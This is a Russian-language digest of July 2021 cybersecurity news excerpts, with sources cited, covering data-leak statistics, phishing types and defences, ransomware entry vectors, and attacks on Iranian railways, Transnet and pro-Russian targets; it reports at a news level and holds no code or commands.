В конце октября 2020 года Агентство по кибербезопасности и безопасности инфраструктуры (CISA), Федеральное бюро расследований и HHS выпустили совместное консультативное предупреждение больницам и системам здравоохранения о «усилении и неминуемой угрозе киберпреступности».

Готовясь к потенциальным угрозам киберпреступности, три федеральных агентства призвали организации здравоохранения и общественного здравоохранения поддерживать «планы обеспечения непрерывности бизнеса», чтобы свести к минимуму перерывы в обслуживании, предупреждая, что без этих процессов больницы «могут быть не в состоянии продолжать работу». ***(Jack O'Brien. FITCH: 'RELENTLESS' CYBER ATTACKS PRESSURING NONPROFIT HOSPITAL OPERATIONS // HealthLeaders, an HCPro brand (https://www.healthleadersmedia.com/technology/fitch-relentless-cyber-attacks-pressuring-nonprofit-hospital-operations). 23.07.2021).***

***

«Почти каждый десятый предотвращаемый инцидент в организациях по всему миру классифицируются как критические и могут вызвать серьезные сбои либо сделать возможным несанкционированный доступ к корпоративным активам, по оценкам «Лаборатории Касперского». Такие случаи были зафиксированы практически во всех отраслях. Чаще всего они затрагивали государственные органы (41%), ИТ-компании (15%) и финансовые учреждения (13%).

Почти треть (30%) всех выявленных критических инцидентов – сложные целевые атаки. Причем, по сценкам экспертов, целевые атаки довольно

распространены: с ними сталкивались более четверти организаций во всем мире (27%).

Около четверти (23%) – мощные атаки вредоносного ПО, в том числе вымогателей. В 9% случаев злоумышленники получали доступ к корпоративной ИТ-инфраструктуре посредством методов социальной инженерии.

Подавляющему большинству инцидентов (72%) был присвоен средний уровень критичности. Это означает, что если их не выявить вовремя, они могут повлиять на производительность активов или допустить возможность неправомерного использования данных.

Показательно, что при обнаружении сложных целевых атак, специалисты часто находили в корпоративных сетях артефакты предыдущих подобных кампаний. Это позволяет предположить, что организации часто подвергаются повторной сложной атаке, причем, вероятно, со стороны тех же злоумышленников». ***(С целевыми атаками сталкивались более четверти организаций во всем мире // Компьютерное Обозрение (https://ko.com.ua/s_celevymi_atakami_stalkivalis_bolee_chetverti_organizacij_vo_vsem_mire_138151). 26.07.2021).***

***

«Прошедший под знаком пандемии 2020 г. привел к росту латентности инцидентов информационной безопасности. Как следствие, в мире зарегистрировано на 4,5% меньше утечек информации из государственных организаций и коммерческих компаний. Вместе с тем в прошлом году резко выросли доли умышленных утечек, а также утечек по вине внешних нарушителей. Такие выводы содержатся в отчете компании Infowatch, посвященном ежегодному исследованию утечек информации ограниченного доступа в мире.

В 2020 г. экспертно-аналитическим центром Infowatch зарегистрировано (стали известными) 2395 случаев утечки информации ограниченного доступа из коммерческих компаний, государственных органов и организаций. Это на 4,5% меньше, чем годом ранее, но на 5,8% превышает показатель 2018 г. Главный вклад в снижение числа утечек внесли США – там случаев компрометации данных за год стало меньше почти на 20%.

В результате утечек, ставших достоянием общественности за год, во всем мире оказались скомпрометированы 11,06 млрд записей персональных данных и платежной информации, в частности, имена и фамилии, адреса электронной почты, номера телефонов, пароли, сведения о постоянном месте жительства, номера социального страхования, реквизиты банковских карт и данные о банковских счетах. Таким образом, общее число скомпрометированных записей по сравнению с 2019 г. снизилось на 25,5%. В результате среднестатистическая утечка стала «легче» на 22% – 4,62 млн записей в 2020 г. по сравнению с 5,92 млн записей в 2019 г.

Несмотря на сокращение как количества утечек, так и общего количества скомпрометированных пользовательских записей, в 2020 г. стало больше крупных утечек, в результате каждой из которых было скомпрометировано не менее 1 млн

записей. Если в 2019 г. таких утечек было 169, то в 2020 г. их зафиксировано 213 (рост на 26%).

Без учета утечек объемом свыше 1 млн записей, в 2020 г. на каждую утечку в среднем пришлось 28,1 тыс. записей, тогда как в 2019 г. на подобную утечку в среднем приходилось 19,9 тыс. записей. То есть «типичная» утечка в среднем «потяжелела» примерно на 41,2%. Кстати, в 2019 г. средняя утечка объемом менее 1 млн записей «прибавила в весе» около 43% по сравнению с 2018 г. Поэтому интересно будет посмотреть, сохранится ли такая динамика в 2021 г.

Интересные изменения произошли в распределении случаев утечек информации по типам данных. Доля ПДн в общем распределении инцидентов, связанных с утечками, за год выросла с 76,6% до 80,6%, а доля случаев утечки платежных сведений сократилась с 9,8% до 4,8%. Во-первых, такая динамика связана с усилением зашиты платежной инфраструктуры и с тем, что злоумышленникам все сложнее становится использовать данные скомпрометированных карт. Во-вторых, на черном рынке растет ценность персональных данных, у преступников есть довольно широкие возможности извлечения прибыли из личной информации о человеке: оформление кредитов, получение пособий, продажа баз с ПДн для электронного маркетинга, фишинг, шантаж.

В 2020 г. основной вектор утечек продолжал смещаться в сторону внешнего нарушителя. Действия хакеров и неизвестных лиц из-за пределов информационного контура организаций привели к 55,9% утечек. Соответственно, 44,1% утечек были спровоцированы различными действиями (а порой и бездействием) персонала.

В 2019-2020 гг. значительно сократился объем данных, скомпрометированных в результате одной утечки, вызванной внешним воздействием. В среднем на одну «внешнюю» утечку в 2020 г. пришлось 2,8 млн скомпрометированных записей. Вероятно, хакеры стали более разборчивы в своих предпочтениях и, проникнув в сеть компании, стараются украсть самую ликвидную информацию.

При этом в результате одной утечки данных по вине внутреннего нарушителя было скомпрометировано в среднем 6,8 млн записей. Такое соотношение связано, в первую очередь, с бурным развитием облачных сервисов и накоплением в хранилищах огромных объемов информации, которая может утекать из-за халатности сотрудников. Речь идет, прежде всего, о некорректных настройках хранилищ в облачных сервисах типа Amazon и MongoDB, а также допущенных уязвимостях на веб-сервисах.

В 2020 г. 98,2% записей персональных данных и платежной информации по вине внутренних нарушителей, то есть сотрудников компаний, утекли в результате случайных нарушений.

В 2020 г. во всех отраслях отмечен всплеск доли умышленных утечек, что в первую очередь связано с существенным ростом ликвидности данных в период пандемии: в это время недобросовестные сотрудники активно искали дополнительный заработок, а хакеры пользовались тем, что компании в авральном режиме меняли привычные формы реализации процессов и могли при этом

ослабить контроль информационных активов. В результате совокупная доля умышленных утечек пользовательской информации достигла 72,5%, тогда как годом ранее она составила 60,2%». ***(Общее количество утечек информации в 2020 г. снизилось, однако выросла доля умышленных и крупных // Компьютерное Обозрение (https://ko.com.ua/obshhee_kolichestvo_utechek_informacii_v_2020_g_snizilos_odnako_vyrosla_dolya_umyshlennyh_i_krupnyh_138078). 20.07.2021).***

***

«Хакеры вывели на информационные табло на железнодорожных вокзалах Ирана сообщения о задержке и отмене поездов «из-за кибератаки». За справками предлагалось обращаться по телефонному номеру, который, как оказалось, относился к канцелярии верховного лидера Ирана.

Хаос, возможно, беспрецедентный

Против железнодорожной системы Ирана была произведена масштабная кибератака, в вызвавшая, по некоторым сведениям, «беспрецедентный хаос». Впрочем, государственные информагентства Ирана с самого начала утверждали, что никаких серьёзных последствий инцидент не имел.

Информации о том, кто стоял за атакой, нет.

По имеющимся на сегодняшний день данным, хакеры выводили на вокзальные информационные табло сообщения о том, что рейсы «существенно задерживаются из-за кибератаки» или «отменены». Пассажирам предлагалось звонить по специальному телефонному номеру для получения подробностей. Телефон, как выяснилось, относился к канцелярии верховного лидера Ирана, аятоллы Али Хаменеи.

Несколько серьёзнее оказался другой аспект кибератаки: у многих поездов прекратили функционировать электронные трекеры. Это определённо вызвало хаос в управлении железнодорожными перевозками.

Это война

Критическая инфраструктура Ирана регулярно подвергается различным атакам, причём, в зависимости от текущей обстановки, власти страны объявляют виновниками разные государства. В частности, в 2019 г. Иран обвинил китайскую APT-группу APT27 в неудавшихся атаках, целью которых был сбор разведданных.

В том же году Иран заявил, что опасается атак со стороны стран Запада, обвиняющих его в совершении физических и кибератак на свои инфраструктурные объекты, а также на страны Ближнего Востока. США, в частности, обвинили Иран в совершении вооружённых атак на нефтяные танкеры в Персидском заливе.

Газета New York Times осенью 2019 г. сообщила о том, что с помощью кибератаки была ликвидирована «критическая база данных», которую иранские вооружённые формирования использовали для организации атак на нефтяные танкеры. Как утверждалось со ссылкой на высокопоставленного представителя американской администрации, эта атака уменьшила возможности Тегерана скрытно атаковать транспортные суда в Персидском заливе. По крайней мере, на время.

«Олимпийские игры» в цифре

В документальном фильме 2016 г. «Нулевые дни» со ссылкой на засекреченные источники внутри ЦРУ и АНБ, рассказывалось о существовании масштабной операции «Олимпийские игры», частным случаем которой была разработка и запуск вредоносной программы Stuxnet.

В фильме говорилось, что в рамках «Олимпийских игр» рассматривался вариант массированной кибератаки против гражданской и военной инфраструктуры Ирана, если тот начнёт агрессивные действия против США или их союзников, в первую очередь, Израиля. Официально существование этой операции не подтверждено.

«В контексте атаки на железные дороги Ирана волей-неволей вспоминаются и «Олимпийские игры», и собственные «художества» Ирана в отношении Саудовской Аравии, и многое другое, - говорит Алексей Водясов, технический директор компании SEC Consult Services. - У Ирана слишком много недругов с высоким наступательным потенциалом в киберпространстве, чтобы строить преподложения, кто именно устроил кибератаку на железнодорожную систему страны. Это вполне мог быть локальный вандализм, хотя и с масштабными последствиями. Но если речь идёт именно о кибератаке извне, то это лишь симптом куда более глобальной проблемы - а именно, бесконтрольного применения кибероружия. Не существует никаких регламентов, никаких договорённостей и даже условных «джентльменских соглашений» относительно применения или неприменения кибероружия, всё зависит от воли власть имущих. Шансы на то, что такие договорённости появятся, невелики. К сожалению, есть опасность, что их появлению будет предшествовать какая-то особо разрушительная кибератака на объекты критической инфраструктуры, по сравнению с которой инцидент со Stuxnet будет заслуживать лишь пометки на полях. Хотя, к слову, как раз со Stuxnet весь этот ящик Пандоры и открылся».

После атаки Stuxnet на ядерное предприятие в Натанце, Иран изолировал значительную часть своей сетевой инфраструктуры от Всемирной сети. Защититься от кибератак полностью ему, однако, не удалось». ***(Роман Георгиев. Кибератака вызвала беспрецедентный хаос на железной дороге Ирана // CNews (https://safe.cnews.ru/news/top/2021-07-15_kiberataka_vyzvala_bespretsedentnyj). 26.07.2021).***

***

«Опубликованный на днях Отчет ФБР о преступлениях в Интернете показывает, что в 2020 году фишеры заработали почти 2 миллиарда долларов только на одной бизнес-электронной почте.

По сути, фишинг (от англ. phishing – выуживание) – это одна из разновидностей кибератаки, при которой используется e-mail, телефон или текстовые сообщения.

Киберпреступники охотятся за паролями, данными платежных аккаунтов, информацией о корпоративной деятельности, содержанием внутренних документов и внешних договоров, а также другими, представляющими для них интерес, сведениями о компании, вот для чего:

Кражи денег со счетов;

Перепродажи корпоративной информации третьим лицам;

Выведения из строя инфраструктуры компании;

Сбора компромата и дальнейшего шантажа;

Подделки документов.

Авторитетное международное онлайн-издание CSO специализируется на анализе и статистике киберопасных явлений, вот некоторые из его статистических данных, опубликованных в 2020 году:

94%+ вредоносных программ доставляются по e-mail;

80%+ зарегистрированных киберинцидентов приходится на фишинговые атаки;

17 700$ теряются каждую минуту из-за фишинга.

Какой урон несут компании от фишинг-атак?

Финансовые потери

Если организация становится жертвой фишинга, она наверняка сталкивается с прямыми денежными издержками, часто очень существенными. Помимо этого, потеря данных сотрудников или клиентов компании может привести к штрафам, налагаемым регулирующими органами в рамках нарушения пунктов GDPR и других законов о защите личных данных. Так, например, компания Leoni AG, один из ведущих мировых производителей проводов и кабелей, в 2016 году была обманута на 40 миллионов евро, когда финансовый служащий в румынском офисе компании был атакован фишинговым письмом, якобы исходящим от высшего руководства компании в Германии.

А в 2019 году жертвой фишинг-атаки стала Toyota Boshoku Corporation, вемирно известный поставщик автозапчастей. Сумма утерянных денег составляет 37 миллионов долларов. Используя уговоры, злоумышленники убедили финансового руководителя изменить информацию о банковском счете получателя при электронном переводе.

Утрата интеллектуальной собственности

Кража интеллектуальной собственности может стать самой значимой потерей из всех. Коммерческие тайны, тематические исследования, статистика, клиентские базы, формулы, а также уникальные разработки могут быть скомпрометированы фишинговой атакой.

Репутационный ущерб

Публичное раскрытие факта утери данных может нанести серьезный репутационный ущерб. Он будет стоить бренду снижения потока клиентов на достаточно длительный срок. Заголовки вроде «Кибератака на Glovo: хакеры продают десятки миллионов контактных данных клиентов за 85 000$» или «McDonald’s сообщает о хищении данных клиентов Южной Кореи и Тайваня» сегодня становятся основными новостями.

Сбои в работе бизнеса

Фишинговые атаки могут полностью или частично парализовать бизнес, когда персонал не в состоянии продолжить свою работу, данные и активы украдены или повреждены, а клиенты не имеют доступа к онлайн-сервисам.

Как выглядят фишинг-атаки и какими они бывают?

Фишинг начинается с мошеннического электронного письма или другого сообщения, в котором обманным путем требуют совершить определенное рискованное действие: перейти по ссылке, загрузить приложение, открыть вложение, заполнить форму, сообщить данные и т.п.

Фишинг бывает трех типов:

Таргетированный – тщательно спланированная атака, обычно ориентированная на конкретную компанию, ее владельцев, руководителей или других ключевых персон.

Нетаргетированный – атаки, нацеленные на широкую аудиторию.

Полу-таргетированный – что-то среднее между тергетированным и нетаргетированным форматом.

В рамках любого их этих типов, атаки могут принимать самые разные формы, вот некоторые из наиболее распространенных:

Angler-фишинг: кибератака в социальных сетях. Она может включать поддельные ссылки, мгновенные сообщения или профили, используемые для получения конфиденциальных данных.

Подмена домена: подделка домена компании, в результате чего e-mail выглядит отправленным от имени известной для получателя компании.

Электронный фишинг: точное копирование структуры и цветовой гаммы электронного письма, чтобы оно выглядело как настоящее.

Поисковый фишинг: создание веб-ресурса в виде клона известного сайта. Его посетителей просят загрузить продукты, зараженные вредоносным ПО, или предоставить личную информацию в формах, которые по итогу отправляются хакерам.

Смишинг (sms+phishing): отправка СМС с целью собрать номера кредитных карт или пароли.

Вишинг (VoIP+phishing): звонки от мошенников, пытающихся получить конфиденциальную информацию.

И это лишь часть того, с чем работают киберпреступники. С каждым годом список их методов увеличивается, заменяя устаревшие технологии обмана новыми, более неожиданными и изощренными.

На что обращать внимание и как защититься?

В большинстве случаев фишинг-сообщение выглядит так, как будто оно пришло от надежного отправителя, но есть несколько определяющих характеристик, которые должны стать для получателя опасным маячком:

Слишком заманчивое содержание – большая скидка, сиюминутное повышение по службе, предложение о работе с высокой зарплатой и т.д.

Высокая срочность – необходимо действовать здесь и сейчас, без промедления.

Гиперссылки – ссылка может иметь орфографическую ошибку, но выглядеть как реальный адрес известной компании или организации.

Вложения – они часто содержат вредоносный контент, такой как программы-вымогатели или вирусы.

Необычный отправитель – необычное, неожиданное, несвойственное или просто подозрительное содержание строки отправителя.

Фишеры часто используют такие эмоции жертвы: страх, любопытство, срочность и жадность, чтобы заставить получателей открывать вложения, заполнять формы или переходить по ссылкам. И очень часто это работает!

Алгоритм действий по защите от фишинг-атак выглядит так:

На первом этапе важно получить консультацию специалиста по интернет безопасности – это может быть представитель специализированной компании или нанятый в штат сотрудник.

На втором этапе следует применить ряд профилактических мер, которые будут уместны в конкретном случае для конкретной компании – все тот же специалист из первого пункта поможет сориентироваться, какие из них будут наиболее эффективными.

По словам специалистов по информационной безопасности из компании ВАКОТЕСН самое важное в борьбе с фишингом – провести работу с сотрудниками.

«Служба безопасности должна провести ряд обучающих активностей, чтобы максимально детально проработать тему предотвращения угроз и защиты от фишинга. Нужно обьяснить людям что такое фишинг и какие могут быть последствия от проникновения в инфраструктуру,» – комментируют в компании». ***(Дмитрий Сизов. ФБР: фишинг – это многомиллиардный бизнес, в котором жертва помогает преступнику // Internetua (http://internetua.com/fbr-fishing-eto-mnogomilliardnyi-biznes-v-kotorom-jertva-pomogaet-prestupniku). 16.07.2021).***

***

«На форуме RAID один из пользователей выложил файл размером 751 гигабайт. Он заявляет, что это исходный код FIFA 21, который украла группа хакеров в июне 2021 года.

Видимо отчаявшись получить деньги с «Electronic Arts» и не найдя покупателя на исходники, вымогатели выложили их в свободный доступ…». ***(Киберпреступники выложили в открытый доступ исходный код FIFA 21 // SecurityLab.ru (https://www.securitylab.ru/news/522706.php). 26.07.2021).***

***

«На прошлой неделе IT-системы южноафриканской госкомпании Transnet вышли из строя. Компания, которая управляет крупными портами Южной Африки, включая Дурбан и Кейптаун, а также огромной железнодорожной сетью, перевозящей минералы и другие товары на экспорт, пыталась преуменьшить значение инцидента. Первоначально описанное как «нарушение работы IT-сетей» на самом деле оказалось кибератакой на компьютерные системы компании, сообщил ресурс Moneyweb, в распоряжении которого оказалась копия письма клиентам Transnet.

Для продолжения работы с ключевыми подразделениями, такими как Transnet Port Terminals (TPT), компания перешла на ручные системы. Однако в связи с дальнейшими задержками грузоперевозок, особенно в порту Дурбан (который обрабатывает более 60% контейнерных перевозок Южной Африки), у

ТРТ, похоже, не было другого выбора, кроме как объявить о форс-мажорных обстоятельствах, связанных с кибератакой.

По словам представителей компании, атака «привела к нарушению бизнес-процессов и функций ТРТ, а также к повреждению оборудования и данных.

«В настоящее время следователи определяют источник кибератаки и степень саботажа в области безопасности данных IT-систем. Transnet применяет все доступные меры по смягчению последствий с целью ограничить влияние данного инцидента», — сообщила компания в письме своим клиентам.

Не только в ЮАР возникли форс-мажорные обстоятельства из-за кибератаки. Администрация округа Анхальт-Биттерфельд в федеральной земле Саксония-Анхальт объявила режим чрезвычайной ситуации после кибератаки на компьютерную сеть. Администрация была вынуждена практически в полном объеме приостановить работу более чем на неделю, а также объявить режим ЧС для получения федеральной помощи, которая позволит округу помочь гражданам, восстановить компьютерные системы и найти виновников атаки». ***(Крупная транспортная компания Transnet объявила о форс-мажорных обстоятельствах из-за кибератаки // SecurityLab.ru (https://www.securitylab.ru/news/522725.php). 27.07.2021).***

***

«Заместитель секретаря Совета безопасности Российской Федерации Олег Храмов сообщил, что за прошлый год количество кибератак на критическую инфраструктуру страны увеличилось в 3,5 раза.

В частности, по словам замсекретаря Совбеза, число компьютерных преступлений за последние пять лет выросло с 65 тысяч до 510 тысяч. Статистика компьютерной преступности за прошлый год показала, что ее существенную часть составляют кражи и мошенничество. В 2020-м было совершено 173 тысячи и 210 тысяч таких преступлений соответственно.

«Такие преступные деяния наносят ущерб как коммерческим структурам, так и гражданам. Многие из нас испытывали дискомфорт и становились невольными свидетелями мошеннических звонков, в том числе от якобы сотрудников служб безопасности банков», — отметил замсекретаря Совбеза.

Ранее Банк России сообщил о росте потерь россиян от кибермошенников на 52% в 2020 г. до 9,77 млрд руб. Одно из четырех регистрируемых преступлений в России приходится на совершенные с использованием информационно-телекоммуникационных технологий или в сфере компьютерной информации». ***(Число хакерских атак на критическую инфраструктуру России значительно выросло // SecurityLab.ru (https://www.securitylab.ru/news/522022.php). 07.07.2021).***

***

«Разработчик антивирусов ESET в январе-июле зафиксировал глобальный всплеск мошенничеств в России через короткие ссылки. Злоумышленники генерировали их на скачивание вируса FakeAdBlocker и распространяли под видом приложений для блокировки рекламы, по установке VPN или антивируса.

К июлю было загружено более 150 тысяч экземпляров этого вируса на Android, из которых 7,2% пришлось на Россию, что делает ее одной из наиболее пострадавших стран, пишет «Коммерсантъ».

В число самых популярных сервисов для сокращения ссылок входят «Кликер» «Яндекса», vk.cc «ВКонтакте», Bitly, Owly, to.click и другие. Подобные платформы берут комиссию за переходы по рекламным объявлениям и при этом не несут ответственности за их содержание.

В «ВКонтакте» заявили, что ведут постоянный мониторинг и блокируют переход по опасным ссылкам. «Жалоб на данный вирус на нашей площадке не обнаружено»,— сообщили там. В «Яндексе» изданию не ответили на запрос.

Вирус FakeAdBlocker впервые был обнаружен в 2019 году, а пик загрузок пришелся на июнь 2021 года, следует из данных ESET. Он загружает на устройство трояны, нацеленные на кражу данных онлайн-банкинга, и заполняет календарь на смартфоне событиями со ссылками на другие вредоносные ресурсы». ***(Карина Пардаева. В России зафиксировали всплеск мошенничеств через короткие ссылки // ООО "РБ.РУ" (https://rb.ru/news/cyber-fraud/). 21.07.2021).***

***

«Компания HP опубликовала результаты своего глобального исследования Threat Insights Report за первое полугодие 2021 г., содержащие анализ произошедших атак и используемых уязвимостей в сфере кибербезопасности. Полученные данные указывают на значительный рост в количестве и изобретательности киберпреступлений в период со второй половины 2020 года по первую половину 2021 года. Также злоумышленники стали на 65% чаще использовать хакерские инструменты, загружаемые с теневых форумов и файлообменников.

Кибераналитики отметили, что активно применяемые хакерами инструменты оказались на удивление эффективными. Например, один из таких инструментов позволял обходить защиту CAPTCHA при помощи технологий компьютерного зрения, а именно оптического распознавания символов (OCR), что позволяло злоумышленникам выполнять атаки на веб-сайты с заполнением учетных данных пользователей. Отчет показал, что киберпреступность приобрела еще более организованный характер, в том числе благодаря даркнет-ресурсам, которые выступают идеальной платформой для злоумышленников, где они могут налаживать сотрудничество друг с другом, обмениваться идеями о тактиках, методах и процедурах для осуществления атак.

«Распространение пиратских инструментов для взлома и рост популярности даркнет-форумов позволяют даже мелким, рядовым злоумышленникам создавать серьезные риски для безопасности предприятий, – отмечает доктор Йэн Пратт (Dr. Ian Pratt), глава отдела безопасности в подразделении персональных систем, HP Inc. – В то же время рядовые пользователи снова и снова становятся жертвами даже простых фишинговых атак. И сейчас технологии безопасности, позволяющие ИТ-отделам работать на опережение и прогнозировать будущие угрозы, являются ключом к обеспечению максимальной защиты и устойчивости бизнеса».

Среди наиболее заметных угроз, выявленных исследовательской группой HP Wolf Security, можно отметить следующие:

Взаимодействие киберпреступников открывает возможности для более масштабных атак: группировки, использующие банковский троян Dridex, продают доступ к взломанной инфраструктуре организаций другим злоумышленникам, чтобы те могли распространять программы-вымогатели.

Снижение активности трояна Emotet в первом квартале 2021 года привело к тому, что Dridex стал основным семейством вредоносных программ, выделенных HP Wolf Security.

Злоумышленники, специализирующиеся на хищении информации, используют все более опасные вредоносные программы: «инфостилер» CryptBot, исторически используемое для кражи учетных данных из крипто-кошельков и веб-браузеров – теперь применяется также для внедрения DanaBot – банковского трояна, управляемого организованными преступными группировками.

Атаки с использованием VBS-загрузчика, нацеленные на руководителей компаний: речь идет о многоэтапной кампании с использованием Visual Basic Script (VBS), когда пользователям рассылаются вложения с вредоносным ZIP архивом, название которого совпадает с именем руководителя предприятия. При открытии архива на компьютер жертвы устанавливается скрытый VBS-загрузчик – и реализуется LotL-атака (Live off the Land), используя уже инсталлированные легитимные инструменты администратора для распространения вредоносного ПО и сохранения на устройствах.

От приложения до проникновения: атака, использующая распространение вредоносного спама под видом резюме и нацеленная на судоходные, морские, логистические и связанные с ними компании в семи странах мира (Чили, Япония, Великобритания, Пакистан, США, Италия и Филиппины). В атаке задействована уязвимость Microsoft Office для развертывания популярных решений удаленного управления и мониторинга (Remcos RAT) и получения доступа к зараженным компьютерам через бэкдор.

Все эти выводы были основаны на данных, полученных группой исследования угроз HP Wolf Security, которые отслеживают вредоносные программы на изолированных микровиртуальных машинах для лучшего понимания и фиксирования всей цепочки распространения, тем самым помогая компаниям бороться с угрозами. Лучше понимая поведение вредоносных программ в реальных условиях, аналитики и инженеры HP Wolf Security могут усилить защиту конечных устройств и повысить общую отказоустойчивость систем.

«Экосистема киберпреступности продолжает развиваться трансформироваться, предлагая мелким киберпреступникам еще больше возможностей для взаимодействия с более серьезными игроками и хакерскими командами, а также для загрузки передовых инструментов, способных обойти действующие системы защиты от взлома, – отмечает Алекс Холланд, (Alex Holland) старший аналитик по вредоносному ПО в HP Inc. – Мы видим, что хакеры адаптируют свои методы для улучшения монетизации, продавая доступ к уязвимым системам организованным преступным группам, чтобы те могли проводить более изощренные атаки на предприятия. Штаммы вредоносных

программ, таких как CryptBot, ранее представлявших опасность только для пользователей, хранивших на своих ПК криптокошельки, теперь представляют угрозу и для бизнеса. Мы видим, что хакеры распространяют вредоносное ПО, управляемое организованными преступными группировками, которые, как правило, предпочитают использовать вирусы-вымогатели для монетизации полученного доступа».

Среди других выводов исследования можно выделить следующие:

75% обнаруженных вредоносных программ попали на компьютеры жертв через электронную почту, а 25% были загружены из сети Интернет.

Количество угроз, проникающих в систему с помощью веб-браузеров, выросло на 24%, частично за счет загрузки пользователями инструментов взлома, а также программного обеспечения для майнинга криптовалют.

Наиболее распространенными фишинговыми приманками, отправляемыми по электронной почте, были счета-фактуры и информация о бизнес-транзакциях (49%), еще 15% случаев – это ответы на перехваченную переписку.

Фишинговые приманки с упоминанием COVID-19 составили менее 1%, снизившись на 77% за период со второго полугодия 2020 года по первое полугодие 2021 года.

Самыми распространенными типами вредоносных вложений стали архивные файлы (29%), электронные таблицы (23%), документы (19%) и исполняемые файлы (19%). Необычные типы архивных файлов, такие как JAR (файлы архивов Java), применяются злоумышленниками, чтобы уйти от обнаружения и сканирования соответствующими инструментами, и установить на компьютеры жертв вредоносное ПО, которое можно легко найти на даркнет-маркетплейсах.

Отчет показал, что 34% обнаруженного вредоносного ПО было неизвестно аналитикам, что на 4% меньше, чем во втором полугодии 2020 г.

На 24% увеличилось количество вредоносных программ, в основе которых лежит CVE-2017-11882, широко эксплуатируемая уязвимость Microsoft Office / Microsoft WordPad, приводящая к нарушению целостности памяти и проведению бесфайловых атак.

«Киберпреступники с легкостью обходят средства обнаружения, просто оптимизируя и совершенствуя свои методы. Мы увидели всплеск вредоносных программ, распространяемых через необычные типы файлов, такие как файлы JAR, которые, очевидно, используются злоумышленниками, чтобы снизить шанс обнаружения вредоносного кода сканерами безопасности и инструментами для защиты от вредоносных программ, – комментирует Алекс Холланд, (Alex Holland). – Жертвы попадаются и на уже знакомые фишинговые атаки, с приманками на тему транзакций, убеждающих пользователей нажимать на вредоносные вложения, ссылки и веб-страницы».

В свою очередь, доктор Йэн Пратт (Dr. Ian Pratt) добавляет: «На фоне того, как киберпреступность становится более организованной, и мелкие игроки могут легко получать эффективные хакерские инструменты и монетизировать атаки, продавая доступ к скомпрометированным системам, не существует такой вещи, как незначительная утечка. Конечные устройства остаются в центре внимания киберпреступников. Их методы становятся все более изощренными, поэтому

сегодня как никогда важно сформировать комплексную и устойчивую инфраструктуру клиентских устройств и средств обеспечения безопасности Это означает использование таких методов, как средства изоляции угроз для защиты от современных приемов злоумышленников, а также минимизацию поверхности атаки за счет устранения угроз по наиболее распространенным векторам атак – по электронной почте, через браузеры и загрузки». ***(Хакеры объединяются для усиления эффекта атак // ООО "ИКС-МЕДИА" (https://www.iksmedia.ru/news/5844814-Xakery-obedinyayutsya-dlya-usileniy.html). 27.07.2021).***

***

«Фишинговые атаки по электронной почте и атаки методом грубой силы на открытые службы протокола удаленного рабочего стола (RDP) являются наиболее распространенными методами, которые киберпреступники используют, чтобы закрепиться в корпоративных сетях и заложить основу для атак программ-вымогателей.

Исследователи кибербезопасности из Coveware проанализировали атаки программ-вымогателей во втором квартале этого года и подробно рассказали, как фишинговые атаки и атаки RDP являются наиболее популярными отправными точками для начала атак программ-вымогателей. Отчасти привлекательность киберпреступников заключается в том, что их выполнение не требует больших затрат, но при этом является эффективным.

Фишинговые атаки - когда киберпреступники отправляют электронные письма, содержащие вредоносные вложения, или направляют жертв на скомпрометированный веб-сайт, который поставляет программы-вымогатели, - немного выросли в популярности за последний квартал, составив 42 процента атак.

Между тем атаки на службы RDP, когда киберпреступники подбирают слабые или стандартные имена пользователей и пароли - или иногда получают доступ к законным учетным данным через фишинговые электронные письма, - остаются чрезвычайно популярными среди групп программ-вымогателей, на которые также приходится 42 процента атак.

И фишинговые, и RDP-атаки остаются эффективными, поскольку киберпреступники относительно легко их выполнить, но в случае успешного выполнения могут предоставить им шлюз для всей корпоративной сети. Взлом учетных данных RDP особенно полезен, потому что он позволяет злоумышленникам войти в сеть с законным входом, что затрудняет обнаружение вредоносной активности.

Уязвимости программного обеспечения находятся на далеком третьем месте как самый популярный вектор взлома сетей для доставки программ-вымогателей, на их долю приходится 14 процентов атак, но это не делает их менее опасными - тем более, что они часто используются некоторыми из самых изощренные и разрушительные банды вымогателей.

По данным Coveware, на Sodinokibi - также известный как REvil - приходился самый высокий процент атак программ-вымогателей за отчетный период - 16,5%. REvil несет ответственность за некоторые из самых громких атак программ-

вымогателей в этом году, включая массовую атаку программ-вымогателей на клиентов Kaseya. В последние недели инфраструктура REvil загадочным образом отключилась.

Вторым по распространенности программ-вымогателей в этот период было Conti, на долю которого приходилось 14,4% программ-вымогателей. Одной из самых громких атак группы стала атака на ирландскую систему здравоохранения. В конце концов, Конти предоставил ключ дешифрования бесплатно, но медицинские услуги по всей Ирландии оставались прерванными в течение нескольких месяцев.

Третьим по распространенности программ-вымогателем за три месяца с апреля по июнь был Avaddon, вид вымогателя, распространяемого через фишинговые электронные письма, на долю которого приходилось 5,4% атак. В июне группа, стоящая за Avaddon, объявила о закрытии и выпустила ключ дешифрования для программы-вымогателя.

Новые формы программ-вымогателей Mespinoza и Hello Kitty составляют оставшуюся пятерку - и вполне вероятно, что с закрытием таких групп, как REvil и Avaddon, новые группы программ-вымогателей попытаются заменить их.

Все эти группы вымогателей объединяет то, как они используют фишинговые атаки и слабые места в службах RDP, чтобы заложить основу для атак.

Чтобы защитить сети от взлома, организации могут применять многофакторную аутентификацию в сети, что может помочь предотвратить взлом учетных записей злоумышленниками.

Также рекомендуется, чтобы организации применяли обновления программного обеспечения и исправления безопасности при их выпуске, чтобы предотвратить использование злоумышленниками известных уязвимостей для получения доступа к сетям». ***(Danny Palmer. Ransomware: These are the two most common ways hackers get inside your network // ZDNet (https://www.zdnet.com/article/ransomware-these-are-the-two-most-common-ways-hackers-get-inside-your-network/). 29.07.2021).***

***

«Хоссейн Джази и группа Threat Intelligence Malwarebytes опубликовали в четверг отчет, в котором подчеркивается новый субъект угрозы, потенциально нацеленный на российских и пророссийских лиц.

Нападавшие приложили манифест о Крыме, указав, что нападение могло быть политически мотивированным. Атаки содержат подозрительный документ под названием Manifest.docx, который однозначно загружает и выполняет двойные векторы атак: удаленное внедрение шаблона и CVE-2021-26411, эксплойт Internet Explorer.

«Оба метода были загружены вредоносными документами с использованием метода внедрения шаблона. Первый шаблон содержит URL-адрес для загрузки удаленного шаблона, в который встроен полнофункциональный VBA Rat. Этот Rat имеет несколько различных возможностей, включая загрузку, загрузку и выполнение файлов, "Сказал Джази.

«Второй шаблон представляет собой эксплойт для CVE-2021-26411, который выполняет шелл-код для развертывания того же VBA Rat. VBA Rat не запутывается, но все же использует некоторые интересные методы для внедрения шелл-кода».

Джази объяснил нападение продолжающимся конфликтом между Россией и Украиной, часть которого сосредоточена в Крыму. В отчете отмечается, что кибератаки с обеих сторон участились.

